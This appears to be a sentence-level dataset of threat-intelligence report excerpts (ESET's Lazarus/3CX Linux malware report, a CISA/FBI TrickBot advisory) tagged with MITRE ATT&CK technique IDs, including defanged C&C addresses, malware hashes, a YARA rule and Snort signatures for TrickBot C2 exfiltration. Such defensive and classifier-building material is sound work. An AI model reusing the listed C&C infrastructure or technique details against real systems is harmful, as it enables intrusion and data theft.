{"sentence": "It is also interesting to note that Lazarus can produce and use malware for all major desktop operating systems: Windows, macOS, and Linux.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Both Windows and macOS systems were targeted during the 3CX incident, with 3CX’s VoIP software for both operating systems being trojanized to include malicious code to fetch arbitrary payloads.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "In the case of 3CX, both Windows and macOS second-stage malware versions exist.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "This article demonstrates the existence of a Linux backdoor that probably corresponds to the SIMPLESEA macOS malware seen in the 3CX incident.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "We named this Linux component SimplexTea and showed that it is part of Operation DreamJob, Lazarus’s flagship campaign using job offers to lure and compromise unsuspecting victims.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "For any inquiries about our research published on WeLiveSecurity, please contact us at threatintel@eset.com. ESET Research offers private APT intelligence reports and data feeds.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "IoCs Files SHA-1FilenameESET detection nameDescription 0CA1723AFE261CD85B05C9EF424FC50290DCE7DFguiconfigdLinux/NukeSped.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "ESimplexTea for Linux.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "3A63477A078CE10E53DFB5639E35D74F93CEFA81HSBC_job_offer․pdfLinux/NukeSped.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "EOdicLoader, a 64-bit downloader for Linux, written in Go. 9D8BADE2030C93D0A010AA57B90915EB7D99EC82HSBC_job_offer.pdf.zipLinux/NukeSped.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "EA ZIP archive with a Linux payload, from VirusTotal.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "F6760FB1F8B019AF2304EA6410001B63A1809F1DsysnetdLinux/NukeSped.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "GBADCALL for Linux.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "First seen2023-03-20 12:00:35 MD5CEDB9CDBAD254F60CFB215B9BFF84FB9 SHA-10CA1723AFE261CD85B05C9EF424FC50290DCE7DF SHA-256EEBB01932DE0B5605DD460CC82844D8693C00EA8AB5FFDF8DBEDE6528C1C18FD Filenameguiconfigd DescriptionSimplexTea for Linux.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "C&Chttps://journalide[.]org/djour.php Downloaded fromhttps://od[.]lk/d/NTJfMzg4MDE1NzJf/vxmedia DetectionLinux/NukeSped.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "E PE compilation timestampN/A", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "First seen2023-03-16 07:44:18 MD53CF7232E5185109321921046D039CF10 SHA-13A63477A078CE10E53DFB5639E35D74F93CEFA81 SHA-256492A643BD1EFDACA4CA125ADE1B606E7BBF00E995AC9115AC84D1C4C59CB66DD FilenameHSBC_job_offer․pdf DescriptionOdicLoader, a 64-bit downloader for Linux, in Go. C&Chttps://od[.]lk/d/NTJfMzg4MDE1NzJf/vxmedia Downloaded fromN/A DetectionLinux/NukeSped.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "First seen2023-03-20 02:23:29 MD5FC41CB8425B6432AF8403959BB59430D SHA-19D8BADE2030C93D0A010AA57B90915EB7D99EC82 SHA-256F638E5A20114019AD066DD0E856F97FD865798D8FBED1766662D970BEFF652CA FilenameHSBC_job_offer.pdf.zip DescriptionA ZIP archive with a Linux payload, from VirusTotal.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "C&CN/A Downloaded fromN/A DetectionLinux/NukeSped.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "First seen2023-02-01 23:47:05 MD5AAC5A52B939F3FE792726A13FF7A1747 SHA-1F6760FB1F8B019AF2304EA6410001B63A1809F1D SHA-256CC307CFB401D1AE616445E78B610AB72E1C7FB49B298EA003DD26EA80372089A Filenamesysnetd DescriptionBADCALL for Linux.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "C&Ctcp://23.254.211[.]230 Downloaded fromN/A DetectionLinux/NukeSped.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "G PE compilation timestampN/A Network IP addressDomainHosting providerFirst seenDetails 23.254.211[.]230N/AHostwinds LLC.N/AC&C server for BADCALL for Linux 38.108.185[.]7938.108.185[.]115od[.]lkCogent Communications2023-03-16Remote OpenDrive storage containing SimplexTea (/d/NTJfMzg4MDE1NzJf/vxmedia) 172.93.201[.]88journalide[.]orgNexeon Technologies, Inc.2023-03-29C&C server for SimplexTea (/djour.php) MITRE ATT&CK techniques TacticIDNameDescription ReconnaissanceT1593.001Search Open Websites/Domains: Social MediaLazarus attackers probably approached a target with a fake HSBC-themed job offer that would fit the target’s interest.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "This has been done mostly via LinkedIn in the past.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Resource DevelopmentT1584.001Acquire Infrastructure:", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "DomainsUnlike many previous cases of compromised C&Cs used in Operation DreamJob, Lazarus operators registered their own domain for the Linux target.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "T1587.001Develop Capabilities: MalwareCustom tools from the attack are very likely developed by the attackers.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "T1585.003Establish Accounts: Cloud AccountsThe attackers hosted the final stage on the cloud service OpenDrive.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "T1608.001Stage Capabilities: Upload MalwareThe attackers hosted the final stage on the cloud service OpenDrive.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Execution: Malicious FileOdicLoader masquerades as a PDF file in order to fool the target.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Initial AccessT1566.002Phishing: Spearphishing LinkThe target likely received a link to third-party remote storage with a malicious ZIP archive, which was later submitted to VirusTotal.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "PersistenceT1546.004Event Triggered Execution: Unix Shell Configuration ModificationOdicLoader modifies the victim’s Bash profile, so SimplexTea is launched each time Bash is stared and its output is muted.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Defense EvasionT1134.002Access Token Manipulation: Create Process with TokenSimplexTea can create a new process, if instructed by its C&C server.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "T1140Deobfuscate/Decode Files or InformationSimplexTea stores its configuration in an encrypted apdl.cf. T1027.009Obfuscated Files or Information: Embedded PayloadsThe droppers of all malicious chains contain an embedded data array with an additional stage.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "T1562.003Impair Defenses: Impair Command History LoggingOdicLoader modifies the victim’s Bash profile, so the output and error messages from SimplexTea are muted.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "SimplexTea executes new processes with the same technique.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "T1070.004Indicator Removal: File DeletionSimplexTea has the ability to delete files securely.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "T1497.003Virtualization/Sandbox Evasion: Time Based EvasionSimplexTea implements multiple custom sleep delays in its execution.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "DiscoveryT1083File and Directory DiscoverySimplexTea can list the directory content together with their names, sizes, and timestamps (mimicking the ls -la command).", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Command and ControlT1071.001Application Layer Protocol: Web ProtocolsSimplexTea can use HTTP and HTTPS for communication with its C&C server, using a statically linked Curl library.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Symmetric CryptographySimplexTea encrypts C&C traffic using the AES-GCM algorithm.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "T1132.001Data Encoding: Standard EncodingSimplexTea encodes C&C traffic using base64.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "T1090ProxySimplexTea can utilize a proxy for communications.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Over C2 ChannelSimplexTea can exfiltrate data as ZIP archives to its C&C server.", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "Appendix This YARA rule flags the cluster containing both IconicLoader and IconicStealer, as well as the payloads deployed in the cryptocurrency campaigns from December 2022. 123456789101112131415161718192021 /*The following rule will only work with YARA version >= 3.11.0*/import \"pe\"rule RichHeaders_Lazarus_NukeSped_IconicPayloads_3CX_Q12023{ meta: description = \" Rich Headers-based rule covering the IconicLoader and IconicStealer from the 3CX supply chain incident, and also payloads from the cryptocurrency campaigns from 2022-12\" author = \"ESET Research\" date = \"2023-03-31\" hash = \"3B88CDA62CDD918B62EF5AA8C5A73A46F176D18B\" hash = \"CAD1120D91B812ACAFEF7175F949DD1B09C6C21A\" hash = \"5B03294B72C0CAA5FB20E7817002C600645EB475\" hash = \"7491BD61ED15298CE5EE5FFD01C8C82A2CDB40EC\" condition: pe.rich_signature.toolid(259, 30818) == 9 and pe.rich_signature.toolid(256, 31329) == 1 and pe.rich_signature.toolid(261, 30818) >= 30 and pe.rich_signature.toolid(261, 30818) <", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "= 38 and pe.rich_signature.toolid(261, 29395)", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": ">= 134 and pe.rich_signature.toolid(261, 29395)", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "<= 164 and pe.rich_signature.toolid(257, 29395)", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": ">= 6 and pe.rich_signature.toolid(257, 29395)", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "<= 14} 20 Apr 2023 - 11:30AM", "labels": [], "doc_title": "Linux malware strengthens links between Lazarus and the 3CX supplychain attack"}
{"sentence": "We continued to track Tomiris as a separate threat actor over three new attack campaigns between 2021 and 2023, and our telemetry allowed us to shed light on the group.", "labels": [], "doc_title": "Tomiris called they want their Turla malware back"}
{"sentence": "In this blog post, we’re excited to share what we now know of Tomiris with the broader community, and discuss further evidence of a possible connection to Turla.", "labels": [], "doc_title": "Tomiris called they want their Turla malware back"}
{"sentence": "Original release date: March 17, 2021 | Last revised: May 20, 2021SummaryThis Joint Cybersecurity Advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK:registered:) framework, Version 8.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "The Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI) have observed continued targeting through spearphishing campaigns using TrickBot malware in North America.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "A sophisticated group of cybercrime actors is luring victims, via phishing emails, with a traffic infringement phishing scheme to download TrickBot.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "TrickBot—first identified in 2016—is a Trojan developed and operated by a sophisticated group of cybercrime actors.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Originally designed as a banking Trojan to steal financial data, TrickBot has evolved into highly modular, multi-stage malware that provides its operators a full suite of tools to conduct a myriad of illegal cyber activities.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "To secure against TrickBot, CISA and FBI recommend implementing the mitigation measures described in this Joint Cybersecurity Advisory, which include blocking suspicious Internet Protocol addresses, using antivirus software, and providing social engineering and phishing training to employees.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Technical DetailsTrickBot is an advanced Trojan that malicious actors spread primarily by spearphishing campaigns using tailored emails that contain malicious attachments or links, which—if enabled—execute malware (Phishing:", "labels": ["T1566.001"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Spearphishing Attachment", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "[T1566.001],", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Phishing: Spearphishing Link", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "[T1566.002]).", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "CISA and FBI are aware of recent attacks that use phishing emails, claiming to contain proof of a traffic violation, to steal sensitive information.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "The phishing emails contain links that redirect to a website hosted on a compromised server that prompts the victim to click on photo proof of their traffic violation.", "labels": ["T1204.002"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "(User Execution: Malicious Link [T1204.001], User Execution: Malicious File [T1204.002]).", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "In clicking the photo, the victim unknowingly downloads a malicious JavaScript file that, when opened, automatically communicates with the malicious actor’s command and control (C2) server to download TrickBot to the victim’s system (Command and Scripting Interpreter:", "labels": ["T1204.002"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "JavaScript [T1059.007]).", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Attackers can use TrickBot to: Drop other malware, such as Ryuk and Conti ransomware, or Serve as an Emotet downloader (Ingress Tool Transfer [T1105]).[1] TrickBot uses person-in-the-browser attacks to steal information, such as login credentials (Man in the Browser", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "[T1185]).", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Additionally, some of TrickBot’s modules spread the malware laterally across a network by abusing the Server Message Block (SMB) Protocol.", "labels": ["T1570"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "TrickBot operators have a toolset capable of spanning the entirety of the MITRE ATT&CK framework, from actively or passively gathering information that can be used to support targeting (Reconnaissance [TA0043]), to trying to manipulate, interrupt, or destroy systems and data (Impact [TA0040]).", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "TrickBot is capable of data exfiltration over a hardcoded C2 server, cryptomining, and host enumeration (e.g., reconnaissance of Unified Extensible Firmware Interface or Basic Input/Output System [UEFI/BIOS] firmware) (Exfiltration Over C2 Channel", "labels": ["T1041"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "[T1041], Resource Hijacking [T1496], System Information Discovery.[2]", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "For host enumeration, operators deliver TrickBot in modules containing a configuration file with specific tasks.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Figure 1 lays out TrickBot’s use of enterprise techniques. Figure 1: MITRE ATT&CK enterprise techniques used by TrickBot MITRE ATT&CK Techniques According to MITRE, TrickBot [S0266] uses the ATT&CK techniques listed in table 1. Table 1: TrickBot ATT&CK techniques for", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "enterprise Initial Access", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "[TA0001] Technique Title ID Use Phishing:", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Spearphishing Attachment T1566.001 TrickBot has used an email with an Excel sheet containing a malicious macro to deploy the malware.", "labels": ["T1566.001"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Phishing: Spearphishing Link T1566.002 TrickBot has been delivered via malicious links in phishing emails.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Execution [TA0002] Technique Title ID Use Scheduled Task/Job: Scheduled", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Task T1053.005 TrickBot creates a scheduled task on the system that provides persistence.", "labels": ["T1053.005"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Windows Command Shell T1059.003 TrickBot has used macros in Excel documents to download and deploy the malware on the user’s machine. Command and Scripting Interpreter: JavaScript/JScript T1059.007 TrickBot victims unknowingly download a malicious JavaScript file that, when opened, automatically communicates with the malicious actor’s C2 server to download TrickBot to the victim’s system.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Native API T1106 TrickBot uses the Windows Application Programming Interface (API) call, CreateProcessW(), to manage execution flow.", "labels": ["T1106"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "User Execution: Malicious Link T1204.001 TrickBot has sent spearphishing emails in an attempt to lure users to click on a malicious link.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "User Execution: Malicious File T1204.002 TrickBot has attempted to get users to launch malicious documents to deliver its payload.", "labels": ["T1204.002"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Persistence [TA0003] Technique Title ID Use Scheduled Task/Job: Scheduled Task T1053.005 TrickBot creates a scheduled task on the system that provides persistence.", "labels": ["T1053.005"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Windows Service T1543.003 TrickBot establishes persistence by creating an autostart service that allows it to run whenever the machine boots. Privilege Escalation", "labels": ["T1543.003"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "[TA0004] Technique Title ID Use Scheduled Task/Job: Scheduled", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Process Injection: Process Hollowing T1055.012 TrickBot injects into the svchost.exe process.", "labels": ["T1055"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Windows Service T1543.003 TrickBot establishes persistence by creating an autostart service that allows it to run whenever the machine boots.", "labels": ["T1543.003"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "[TA0005] Technique Title ID Use Obfuscated Files or Information T1027 TrickBot uses non-descriptive names to hide functionality and uses an AES CBC (256 bits) encryption algorithm for its loader and configuration files.", "labels": ["T1027"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Obfuscated Files or Information: Software Packing T1027.002 TrickBot leverages a custom packer to obfuscate its functionality.", "labels": ["T1027"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Masquerading T1036 The TrickBot downloader has used an icon to appear as a Microsoft Word document.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Modify Registry T1112 TrickBot can modify registry entries.", "labels": ["T1112"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Deobfuscate/Decode Files or Information T1140 TrickBot decodes the configuration data and modules.", "labels": ["T1140"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Subvert Trust Controls: Code Signing T1553.002 TrickBot has come with a signed downloader component.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Impair Defenses: Disable or Modify Tools T1562.001 TrickBot can disable Windows Defender.", "labels": ["T1562.001"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "[TA0006] Technique Title ID Use Input Capture: Credential API Hooking T1056.004 TrickBot has the ability to capture Remote Desktop Protocol credentials by capturing the CredEnumerateA API.", "labels": ["T1106"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Unsecured Credentials: Credentials in Files T1552.001 TrickBot can obtain passwords stored in files from several applications such as Outlook, Filezilla, OpenSSH, OpenVPN and WinSCP.", "labels": ["T1552.001"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Additionally, it searches for the .vnc.lnk affix to steal VNC credentials.", "labels": ["T1552.001"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Unsecured Credentials: Credentials in Registry T1552.002 TrickBot has retrieved PuTTY credentials by querying the Software\\SimonTatham\\Putty\\Sessions registry key. Credentials from Password Stores T1555 TrickBot can steal passwords from the KeePass open-source password manager. Credentials from Password Stores: Credentials from Web Browsers T1555.003 TrickBot can obtain passwords stored in files from web browsers such as Chrome, Firefox, Internet Explorer, and Microsoft Edge, sometimes using esentutl.", "labels": ["T1012", "T1552.001"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Discovery [TA0007] Technique Tactic ID Use System Service Discovery T1007 TrickBot collects a list of install programs and services on the system’s machine.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "System Network Configuration Discovery T1016 TrickBot obtains the IP address, location, and other relevant network information from the victim’s machine.", "labels": ["T1016"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Remote System Discovery T1018 TrickBot can enumerate computers and network devices.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "System Owner/User Discovery T1033 TrickBot can identify the user and groups the user belongs to on a compromised host.", "labels": ["T1033"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Permission Groups Discovery T1069 TrickBot can identify the groups the user on a compromised host belongs to.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "System Information Discovery T1082 TrickBot gathers the OS version, machine name, CPU type, amount of RAM available from the victim’s machine.", "labels": ["T1082"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "File and Directory Discovery T1083 TrickBot searches the system for all of the following file extensions: .avi, .mov, .mkv, .mpeg, .mpeg4, .mp4, .mp3, .wav, .ogg, .jpeg, .jpg, .png, .bmp, .gif, .tiff, .ico, .xlsx, and .zip.", "labels": ["T1083"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "It can also obtain browsing history, cookies, and plug-in information.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Account Discovery: Local Account T1087.001 TrickBot collects the users of the system.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Account Discovery: Email Account T1087.003 TrickBot collects email addresses from Outlook.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Domain Trust Discovery T1482 TrickBot can gather information about domain trusts by utilizing Nltest.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Lateral Movement [TA0008] Technique Tactic ID Use Lateral Tool Transfer T1570 Some TrickBot modules spread the malware laterally across a network by abusing the SMB Protocol.", "labels": ["T1570"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Collection [TA0009] Technique Tactic ID Use Data from Local System T1005 TrickBot collects local files and information from the victim’s local machine.", "labels": ["T1005"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Input Capture:Credential API Hooking T1056.004 TrickBot has the ability to capture Remote Desktop Protocol credentials by capturing the CredEnumerateA API. Person in the Browser T1185 TrickBot uses web injects and browser redirection to trick the user into providing their login credentials on a fake or modified webpage. Command and Control", "labels": ["T1106"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "[TA0011] Technique Tactic ID Use Fallback Channels T1008 TrickBot can use secondary command and control (C2) servers for communication after establishing connectivity and relaying victim information to primary C2 servers.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Application Layer Protocol: Web Protocols T1071.001 TrickBot uses HTTPS to communicate with its C2 servers, to get malware updates, modules that perform most of the malware logic and various configuration files.", "labels": ["T1071.001"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Ingress Tool Transfer T1105 TrickBot downloads several additional files and saves them to the victim's machine.", "labels": ["T1105"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Data Encoding: Standard Encoding T1132.001 TrickBot can Base64-encode C2 commands.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Non-Standard Port T1571 Some TrickBot samples have used HTTP over ports 447 and 8082 for C2.", "labels": ["T1071.001"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Encrypted Channel:", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Symmetric Cryptography T1573.001 TrickBot uses a custom crypter leveraging Microsoft’s CryptoAPI to encrypt C2 traffic.", "labels": ["T1106", "T1573.001"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Exfiltration [TA0010] Technique Tactic ID Use Exfiltration Over C2 Channel T1041 TrickBot can send information about the compromised host to a hardcoded C2 server.", "labels": ["T1041"], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Impact [TA0040] Technique Tactic ID Use Resource Hijacking T1496 TrickBot actors can leverage the resources of co-opted systems for cryptomining to validate transactions of cryptocurrency networks and earn virtual currency.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Detection Signatures CISA developed the following snort signature for use in detecting network activity associated with TrickBot activity.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "alert tcp any [443,447] -> any any (msg:\"TRICKBOT:SSL/TLS Server X.509 Cert Field contains 'example.com' (Hex)\"; sid:1; rev:1; flow:established,from_server; ssl_state:server_hello; content:\"|0b|example.com\"; fast_pattern:only; content:\"Global Security\"; content:\"IT Department\"; pcre:\"/(?:\\x09\\x00\\xc0\\xb9\\x3b\\x93\\x72\\xa3\\xf6\\xd2|\\x00\\xe2\\x08\\xff\\xfb\\x7b\\x53\\x76\\x3d)/\"; classtype:bad-unknown; metadata:service ssl,service and-ports;) alert tcp any any -> any $HTTP_PORTS (msg:\"TRICKBOT_ANCHOR:HTTP URI GET contains '/anchor'\"; sid:1; rev:1; flow:established,to_server; content:\"/anchor\"; http_uri; fast_pattern:only; content:\"GET\"; nocase; http_method; pcre:\"/^\\/anchor_?.{3}\\/[\\w_-]+\\.[A-F0-9]+\\/?$/U\"; classtype:bad-unknown; priority:1; metadata:service http;) alert tcp any $SSL_PORTS -> any any (msg:\"TRICKBOT:SSL/TLS Server X.509 Cert Field contains 'C=XX, L=Default City, O=Default Company Ltd'\"; sid:1; rev:1; flow:established,from_server; ssl_state:server_hello; content:\"|31 0b 30 09 06 03 55 04 06 13 02|XX\"; nocase; content:\"|31 15 30 13 06 03 55 04 07 13 0c|Default City\"; nocase; content:\"|31 1c 30 1a 06 03 55 04 0a 13 13|Default Company Ltd\"; nocase; content:!\"|31 0c 30 0a 06 03 55 04 03|\"; classtype:bad-unknown; reference:url,www.virustotal.com/gui/file/e9600404ecc42cf86d38deedef94068db39b7a0fd06b3b8fb2d8a3c7002b650e/detection; metadata:service ssl;) alert tcp any any -> any $HTTP_PORTS (msg:\"TRICKBOT:HTTP Client Header contains 'boundary=Arasfjasu7'\"; sid:1; rev:1; flow:established,to_server; content:\"boundary=Arasfjasu7|0d 0a|\"; http_header; content:\"name=|22|proclist|22|\"; http_header; content:!\"Referer\"; content:!\"Accept\"; content:\"POST\"; http_method; classtype:bad-unknown; metadata:service http;) alert tcp any any -> any $HTTP_PORTS (msg:\"TRICKBOT:HTTP Client Header contains 'User-Agent|3a 20|WinHTTP loader/1.'", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "\"; sid:1; rev:1; flow:established,to_server; content:\"User-Agent|3a 20|WinHTTP loader/1.\"; http_header; fast_pattern:only; content:\".png|20|HTTP/1.\"; pcre:\"/^Host\\x3a\\x20(?:\\d{1,3}\\.){3}\\d{1,3}(?:\\x3a\\d{2,5})?$/mH\"; content:!\"Accept\"; http_header; content:!\"Referer|3a 20|\"; http_header; classtype:bad-unknown; metadata:service http;) alert tcp any $HTTP_PORTS -> any any (msg:\"TRICKBOT:HTTP Server Header contains 'Server|3a 20|Cowboy'\"; sid:1; rev:1; flow:established,from_server; content:\"200\"; http_stat_code; content:\"Server|3a 20|Cowboy|0d 0a|\"; http_header; fast_pattern; content:\"content-length|3a 20|3|0d 0a|\"; http_header; file_data; content:\"/1/\"; depth:3; isdataat:!1,relative; classtype:bad-unknown; metadata:service http;) alert tcp any any -> any $HTTP_PORTS (msg:\"TRICKBOT:HTTP URI POST contains C2 Exfil\"; sid:1; rev:1; flow:established,to_server; content:\"Content-Type|3a 20|multipart/form-data|3b 20|boundary=------Boundary\"; http_header; fast_pattern; content:\"User-Agent|3a 20|\"; http_header; distance:0; content:\"Content-Length|3a 20|\"; http_header; distance:0; content:\"POST\"; http_method; pcre:\"/^\\/[a-z]{3}\\d{3}\\/.+?\\.[A-F0-9]{32}\\/\\d{1,3}\\//U\"; pcre:\"/^Host\\x3a\\x20(?:\\d{1,3}\\.){3}\\d{1,3}$/mH\"; content:!\"Referer|3a|\"; http_header; classtype:bad-unknown; metadata:service http;) alert tcp any any -> any $HTTP_PORTS (msg:\"HTTP URI GET/POST contains '/56evcxv' (Trickbot)\"; sid:1; rev:1; flow:established,to_server; content:\"/56evcxv\"; http_uri; fast_pattern:only; classtype:bad-unknown; metadata:service http;) alert icmp any any -> any 